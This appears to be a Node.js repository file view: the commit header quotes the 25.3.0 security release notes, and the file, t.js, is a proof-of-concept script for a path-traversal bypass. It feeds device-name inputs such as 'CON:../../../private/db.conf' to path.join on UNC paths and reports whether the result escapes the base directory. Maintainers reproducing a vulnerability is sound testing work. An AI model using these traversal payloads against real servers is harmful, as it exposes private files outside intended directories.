Files
node/t.js
T
RafaelGSS 00d6cd8392 2026-01-13, Version 25.3.0 (Current)
This is a security release.

Notable changes:

lib:
  * (CVE-2025-59465) add TLSSocket default error handler (RafaelGSS) https://github.com/nodejs-private/node-private/pull/750
permission:
  * (CVE-2026-21636) add network check on pipe_wrap connect (RafaelGSS) https://github.com/nodejs-private/node-private/pull/784
  * (CVE-2025-55130) require full read and write to symlink APIs (RafaelGSS) https://github.com/nodejs-private/node-private/pull/760
  * (CVE-2025-55132) disable futimes when permission model is enabled (RafaelGSS) https://github.com/nodejs-private/node-private/pull/748
src:
  * (CVE-2025-59466) rethrow stack overflow exceptions in async_hooks (Matteo Collina) https://github.com/nodejs-private/node-private/pull/773
src,lib:
  * (CVE-2025-55131) refactor unsafe buffer creation to remove zero-fill toggle (Сковорода Никита Андреевич) https://github.com/nodejs-private/node-private/pull/759
tls:
  * (CVE-2026-21637) route callback exceptions through error handlers (Matteo Collina) https://github.com/nodejs-private/node-private/pull/790

PR-URL: https://github.com/nodejs-private/node-private/pull/793
2026-01-09 18:35:18 -03:00

40 lines
1.7 KiB
JavaScript

const path = require("path")
console.log("Node.js UNC Path Device Name Bypass PoC");
console.log("Version:", process.version);
console.log("Date:", new Date().toISOString());
console.log("");
console.log("[1] CVE-2025-27210 Fixed for regular paths:");
console.log(" path.normalize(\"CON:../../secret.txt\")");
console.log(" Result:", path.normalize("CON:../../secret.txt"));
console.log(" SAFE - Device name prefixed");
console.log("");
console.log("[2] UNC paths with path.join() - STILL VULNERABLE:");
function testExploit(testName, base, input, expectedSafe) {
const result = path.join(base, input);
const baseDepth = base.split("\\\\").length;
const resultDepth = result.split("\\\\").length;
const escaped = result.indexOf(base.split("\\\\").pop()) === -1;
console.log(`\n[${testName}]`);
console.log(" Base Path:", base);
console.log(" Malicious Input:", input);
console.log(" Result Path:", result);
console.log(" Expected Safe:", expectedSafe);
console.log(" Actual Result:", result);
console.log(" BYPASSED:", escaped || !result.startsWith(base.substring(0,10)) ? "YES" : "NO");
}
testExploit("Test 1", "\\\\fileserver\\\\public\\\\uploads", "CON:../../../private/db.conf", "\\\\fileserver\\\\public\\\\uploads\\\\.\\\\CON:..\\\\..\\\\..\\\\private\\\\db.conf");
testExploit("Test 2", "\\\\webapp\\\\data", "PRN:../../C$/admin", "\\\\webapp\\\\data\\\\.\\\\PRN:..\\\\..\\\\C$\\\\admin");
testExploit("Test 3", "\\\\nas\\\\share", "AUX:../secret", "\\\\nas\\\\share\\\\.\\\\AUX:..\\\\secret");
console.log("\n[!] All device names allow path traversal in UNC paths!");
console.log("[!] This bypasses CVE-2025-27210 protection!");
console.log('Path.join')
console.log(path.join('/home/rafaelgss/', '../tmp'))